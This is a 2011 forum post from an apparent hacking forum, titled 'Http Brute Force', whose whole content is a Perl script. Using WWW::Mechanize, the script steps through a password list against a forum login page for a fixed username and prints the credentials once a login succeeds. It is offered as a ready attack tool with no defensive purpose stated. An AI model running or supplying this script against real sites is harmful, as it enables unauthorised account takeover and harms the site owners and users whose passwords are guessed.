This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Http Brute Force

  • 0 Replies
  • 1929 Views

0 Members and 1 Guest are viewing this topic.

Offline @ed33x

  • *
  • Underc0der
  • Posts: 107
  • Actividad:
    0%
  • Reputación 0
    • View Profile
    • Email

Http Brute Force

  • on: January 27, 2011, 08:45:35 pm
Code: (perl) You are not allowed to view links. Register or Login
!/usr/bin/perl

use Carp;

use WWW::Mechanize;

#open pwlist
open INPUT, "file.txt";
my $pw = 0;
@lines = <INPUT>;
close INPUT;

my $webaddress = 'http://www.target.com/forums/login.php';

my $username = 'zondoz';

my $mech = WWW::Mechanize->new(

    cookie_jar      => {},
);

login:

my $password = @lines[$pw];

my $response = $mech->get($webaddress);

if (!$response->is_success) {

    die "Login page unreachable $webaddress: ",  $response->status_line, "\n";

}


# Login

$mech->field('username', $username);

$mech->field('password', $password);

my $response = $mech->click();

if ($response->is_success) {

    goto checkpw;

} else {

    die "Login failed: ",  $response->status_line, "\n";

}

1;
checkpw:
if($mech->content( format => 'text' ) =~ m/You last visited/i){
print "++++++++++++++++++++\n";
print "LOGIN SUCCESSFUL!\n";
print "USERNAME: $username\n";
print "PASSWORD: $password\n";
print "++++++++++++++++++++\n";
} else {
print "trying $username:$password attempts:$pw\n";
$pw ++;
goto login;
}
« Last Edit: March 14, 2015, 09:51:09 am by Expermicid »
Me cambie de messenger ahora es: [email protected]You are not allowed to view links. Register or Login